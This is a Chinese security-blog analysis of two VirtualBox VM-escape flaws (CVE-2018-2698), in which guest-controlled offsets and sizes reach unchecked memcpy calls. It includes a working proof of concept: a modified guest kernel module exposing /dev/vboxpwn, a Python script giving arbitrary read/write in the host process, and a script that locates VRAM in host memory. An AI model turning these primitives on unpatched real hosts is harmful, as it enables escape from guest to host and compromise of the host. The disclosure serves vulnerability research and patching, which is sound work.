Oracle VirtualBox虚拟机逃逸漏洞分析

2018-01-27 10:27:01来源:http://blog.nsfocus.net/oracle-virtualbox/作者:绿盟科技博客人点击

分享


阅读:
1


本文介绍了两个近期公布的Virtual Box 虚拟机逃逸漏洞,问题存在于 Oracle VirtualBox 5.1.30和5.2-rc1中。漏洞的发现归功于独立安全研究人员Niklas Baumstark。目前漏洞已被提交至 Beyond Security 的 SecuriTeam。


文章目录


厂商回应


Oracle已针对漏洞发布补丁。更多细节详见:http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html


CVE 编号:CVE: CVE-2018-2698


漏洞详情

漏洞存在于 VirtualBox 的核心图形框架(VBVA子组件)中,影响所有主机操作系统,在用户级VirtualBox主机进程中提供了任意读/写原语。


VirtualBox 模拟的VGA设备与一定数量的VRAM相关联,VRAM 在host(宿主机)上的 VM 进程中,以及 guest(客户机)内核内存中连续映射。VRAM 的一部分被用作通用的共享内存,用于 host 和 guest 之间的通信(host – guest shared memory interface,HGSMI)。借助这种共享内存机制,guest 可以向 host 发出某些命令,例如实现鼠标自动捕获和无缝窗口功能。guest 还可以通过一个名为 VDMA 的子系统,通知 host 代表其在VRAM内部复制数据。


1.vboxVDMACmdExecBpbTransfer 中存在的越界读写漏洞

VBOXVDMACMD_DMA_BPB_TRANSFER 结构体的定义如下((详见 virtualbox 源码/include/VBox/Graphics/VBoxVideo.h):


  typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER
    {
        uint32_t cbTransferSize;
        uint32_t fFlags;
        union
        {
            uint64_t phBuf;
            VBOXVIDEOOFFSET offVramBuf;
        } Src;
        union
        {
            uint64_t phBuf;
            VBOXVIDEOOFFSET offVramBuf;
        } Dst;
    } VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER;

当发送一个类型为 VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER 的 VDMA 命令时,这种类型的请求对象驻留在 HGSMI 堆中,并完全由 guest 控制。


在 host 上,一个指向该对象的指针最终被传递给/src/VBox/Devices/Graphics/DevVGA_VDMA.cpp 中的如下函数:


static int vboxVDMACmdExecBpbTransfer(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_BPB_TRANSFER pTransfer, uint32_t cbBuffer)
    {
        // ...
        uint32_t cbTransfer = pTransfer->cbTransferSize;
        uint32_t cbTransfered = 0;
        // ...
        do
        {
            uint32_t cbSubTransfer = cbTransfer;
            if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_SRC_VRAMOFFSET)
            {
                // [[ Note 1 ]]
                pvSrc  = pvRam + pTransfer->Src.offVramBuf + cbTransfered;
            }
            else
            {
                // ...
            }
 
            if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_DST_VRAMOFFSET)
            {
                // [[ Note 2 ]]
                pvDst  = pvRam + pTransfer->Dst.offVramBuf + cbTransfered;
            }
            else
            {
                // ...
            }
 
            if (RT_SUCCESS(rc))
            {
                memcpy(pvDst, pvSrc, cbSubTransfer);
                cbTransfer -= cbSubTransfer;
                cbTransfered += cbSubTransfer;
            }
            else
            {
                cbTransfer = 0; /* to break */
            }
            // ...
        } while (cbTransfer);
 
        if (RT_SUCCESS(rc))
            return sizeof (*pTransfer);
        return rc;
    }

以上代码中标注的 Note 1 和 Note 2 处, guest 控制的偏移量 pTransfer-> Src.offVramBuf 和 pTransfer-> Dst.offVramBuf ,与 VRAM 地址相加,没有进行任何验证或边界检查。在之后的 memcpy 中,size 来自一个 guest 可控的变量,pTransfer->cbTransferSize。


以上,获得了 memcpy(VRAM + X, VRAM + Y, Z) ,其中 X,Y,Z 可被 guest 控制。


2.vboxVDMACmdExecBpbTransfer 中存在的越界读写漏洞

VBOXVDMACMD_DMA_PRESENT_BLT 结构体定义如下:


typedef uint64_t VBOXVIDEOOFFSET;
    /* [...] */
    typedef struct VBOXVDMACMD_DMA_PRESENT_BLT
    {
        VBOXVIDEOOFFSET offSrc;
        VBOXVIDEOOFFSET offDst;
        VBOXVDMA_SURF_DESC srcDesc;
        VBOXVDMA_SURF_DESC dstDesc;
        VBOXVDMA_RECTL srcRectl;
        VBOXVDMA_RECTL dstRectl;
        uint32_t u32Reserved;
        uint32_t cDstSubRects;
        VBOXVDMA_RECTL aDstSubRects[1];
    } VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT;

当发送一个 VBOXVDMACMD_TYPE_DMA_PRESENT_BLT 类型的 VDMA 命令时,这种类型的请求对象会驻留在 HGSMI 堆中,并完全由 guest 控制。


在 host 上,一个指向该对象的指针最终被传递给 /src/VBox/Devices/Graphics/DevVGA_VDMA.cpp中的如下函数:


static int vboxVDMACmdExecBlt(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_PRESENT_BLT pBlt, uint32_t cbBuffer)
    {
        const uint32_t cbBlt = VBOXVDMACMD_BODY_FIELD_OFFSET(uint32_t, VBOXVDMACMD_DMA_PRESENT_BLT, aDstSubRects[pBlt->cDstSubRects]);
        Assert(cbBlt <= cbBuffer);
        if (cbBuffer < cbBlt) return VERR_INVALID_FUNCTION; /* we do not support stretching for now */ Assert(pBlt->srcRectl.width == pBlt->dstRectl.width);
        Assert(pBlt->srcRectl.height == pBlt->dstRectl.height);
        if (pBlt->srcRectl.width != pBlt->dstRectl.width)
            return VERR_INVALID_FUNCTION;
        if (pBlt->srcRectl.height != pBlt->dstRectl.height)
            return VERR_INVALID_FUNCTION;
        Assert(pBlt->cDstSubRects);  /* [[ Note 2 ]] */
 
        uint8_t * pvRam = pVdma->pVGAState->vram_ptrR3;
        VBOXVDMA_RECTL updateRectl = {0, 0, 0, 0};
 
        if (pBlt->cDstSubRects)
        {
            /* [...] */
        }
        else
        {
            /* [[ Note 1 ]] */
            int rc = vboxVDMACmdExecBltPerform(pVdma, pvRam + pBlt->offDst, pvRam + pBlt->offSrc,
                    &pBlt->dstDesc, &pBlt->srcDesc,
                    &pBlt->dstRectl,
                    &pBlt->srcRectl);
            AssertRC(rc);
            if (!RT_SUCCESS(rc))
                return rc;
 
            vboxVDMARectlUnite(&updateRectl, &pBlt->dstRectl);
        }
 
        return cbBlt;
    }

以上代码中标注的 Note 1 处, guest 可控的偏移pBlt->offDst 和pBlt->offSrc 与 VRAM 地址相加,没有进行任何验证或边界检查。


请注意,Note 2 中的 Assert 在生产版本中不可用,所以代码可以到达 else 分支。之后调用的vboxVDMACmdExecBltPerform 在计算的地址之间执行一个memcpy:


static int vboxVDMACmdExecBltPerform(PVBOXVDMAHOST pVdma, uint8_t *pvDstSurf, const uint8_t *pvSrcSurf,
                                        const PVBOXVDMA_SURF_DESC pDstDesc, const PVBOXVDMA_SURF_DESC pSrcDesc,
                                        const VBOXVDMA_RECTL * pDstRectl, const VBOXVDMA_RECTL * pSrcRectl)
    {
        /* [...] /*
        if (pDstDesc->width == pDstRectl->width
                && pSrcDesc->width == pSrcRectl->width
                && pSrcDesc->width == pDstDesc->width)
        {
            Assert(!pDstRectl->left);
            Assert(!pSrcRectl->left);
            uint32_t cbOff = pDstDesc->pitch * pDstRectl->top;
            uint32_t cbSize = pDstDesc->pitch * pDstRectl->height;
            memcpy(pvDstSurf + cbOff, pvSrcSurf + cbOff, cbSize);
        }
        else
        {
            /* [...] /*
        }
        return VINF_SUCCESS;
    }

通过设置 pDstDesc-> pitch = 1,pDstRectl-> top = 0,可以得到 cbOff = 0 和 cbSize = pDstRectl-> height(这里同样是通过 guest 控制)。最后调用 memcpy(VRAM + X,VRAM + Y,Z),其中 X,Y,Z 可被 guest 控制。


3. Poc

利用时将通过修改 vboxvideo 内核模块来触发该漏洞。修改后的模块将允许用户创建一个/dev/vboxpwn 设备,该设备可以通过其 ioctl() handler 发送任意的 VBVA 命令。测试环境选择 64 位的 Ubuntu VM。


首先下载 VBoxGuestAdditions:


    $ wget http://download.virtualbox.org/virtualbox/5.1.30/VBoxGuestAdditions_5.1.30.iso
    $ sudo mount -o loop -t iso9660 VBoxGuestAdditions_5.1.30.iso /mnt
    $ sudo /mnt/VBoxLinuxAdditions.run

然后将修改后的文件 – HGSMIBase.c 和 70-vboxpwn.rules 上传到虚拟机的 home 目录,并使用修改后的代码重新构建扩展(文件代码见下文)


    $ sudo cp 70-vboxpwn.rules /etc/udev/rules.d
    $ sudo cp HGSMIBase.c /usr/src/vboxguest-5.1.30/vboxvideo
    $ sudo /mnt/VBoxLinuxAdditions.run --keep --target additions --noexec
    $ sudo additions/vboxadd setup
    $ sudo reboot

现在应该已经生成了一个名为dev/vboxpwn ,具有 666 权限的新设备。


创建一个名为poc.py的Python脚本:


import os, fcntl, struct, array, sys
 
    fd = os.open('/dev/vboxpwn', os.O_NONBLOCK | os.O_RDWR)
 
    # 4/5 = BPB_TRANSFER primitive, 1/2 = PRESENT_BLT primitive
    read_type = 4
    write_type = 5
 
    def read(offset, size):
        data = ''
        data += struct.pack("<IIq", 4, size, offset)
        data += '/0'*size
        data = array.array('b', data)
        fcntl.ioctl(fd, len(data), data, 1)
        return data[16:]
 
    def write(offset, payload):
        data = ''
        data += struct.pack("<IIq", 5, len(payload), offset)
        data += payload
        fcntl.ioctl(fd, len(data), data)
 
    def get_vram_size():
        data = ''
        data += struct.pack("<IIq", 6, 0, 0)
        data += '/0'*4
        data = array.array('b', data)
        fcntl.ioctl(fd, len(data), data)
        return struct.unpack('<I', data[16:])[0]
 
    vram_sz = get_vram_size()
 
    import code
    code.interact(local=locals())

如果在Linux VM 上运行,会得到以下结果:


    $ python2 poc.py
    [...]
    >>> read(0, 0x10).tostring()
    'U,//fU,//fU,//fU,//f'
    >>> read(vram_sz, 0x10).tostring()
    '/x7fELF/x02/x01/x01/x00/x00/x00/x00/x00/x00/x00/x00/x00'
    >>> read(-0x1000, 0x10).tostring()
    '/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00'

由上可知,第二次 read 会返回位于 VRAM 之后直接映射的共享库的头部。当然,如果命中了未映射的内存,则可能会使虚拟机崩溃。为了演示 read/write,我们需要获取 host 上 VRAM 的基地址。findvram.py 脚本用来通过给定的 VRAM 大小,查找VRAM基地址 。在该例中,VRAM大小为33 MiB。


第一个参数是 host 中 VM 进程的 PID,此外还要抓取一些你想泄漏的绝对地址。


    $ sudo python2 findvram.py 23791 33
    VRAM @ 0x00007f1651c75000
    $ sudo cat /proc/23791/maps | grep libcurl | head -n 1
    7f168969c000-7f1689716000 r-xp 00000000 00:15 9032634                    /usr/lib/libcurl.so.4.4.0

回到虚拟机中,我们将读取这个库的 ELF 头文件:


$ python2 poc.py
    [...]
    >>> vram = 0x00007f1651c75000
    >>> read(0x7f168969c000 - vram, 0x10).tostring()
    '/x7fELF/x02/x01/x01/x00/x00/x00/x00/x00/x00/x00/x00/x00'

现在我们将数据写入一个未映射的地址,从而使虚拟机崩溃(确保已经附加了调试器):


>>> write(0x414141414141 - vram, 'BBBB')

crash 结果:


    Thread 7 "EMT" received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7f1680b8e700 (LWP 23801)]
    0x00007f168a87172a in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
    (gdb) x/1i $rip
    => 0x7f168a87172a <__memmove_avx_unaligned_erms+154>:    mov    %ecx,-0x4(%rdi,%rdx,1)
    (gdb) i r ecx rdi rdx
    ecx            0x42424242    1111638594
    rdi            0x414141414141    71748523475265
    rdx            0x4    4

findvram.py


import sys
 
if len(sys.argv) != 3:
    print 'Usage: sudo python2 findvram.py  '
    print
    print 'Finds the VRAM page on a Linux host by inspecting /proc//maps and '
    print 'looking for a properly sized map. Works best if an odd amount of VRAM is'
    print 'configured, like 33 MB instead of 32.'
    exit()
 
pid = int(sys.argv[1])
sz = int(sys.argv[2])*1024*1024
 
with open('/proc/%d/maps'%pid) as f:
    for line in f:
        start, end = [int(x,16) for x in line.split()[0].split('-')]
        if end-start == sz:
            print 'VRAM @ 0x%016x - 0x%016x' % (start, end)

70-vboxpwn.rules


KERNEL=="vboxpwn", NAME="vboxpwn", OWNER="vboxadd", MODE="0666"

HGSMIBase.c(见附件)


附件下载


HGSMIBase.c


最新文章

123

最新摄影

闪念基因

微信扫一扫

第七城市微信公众平台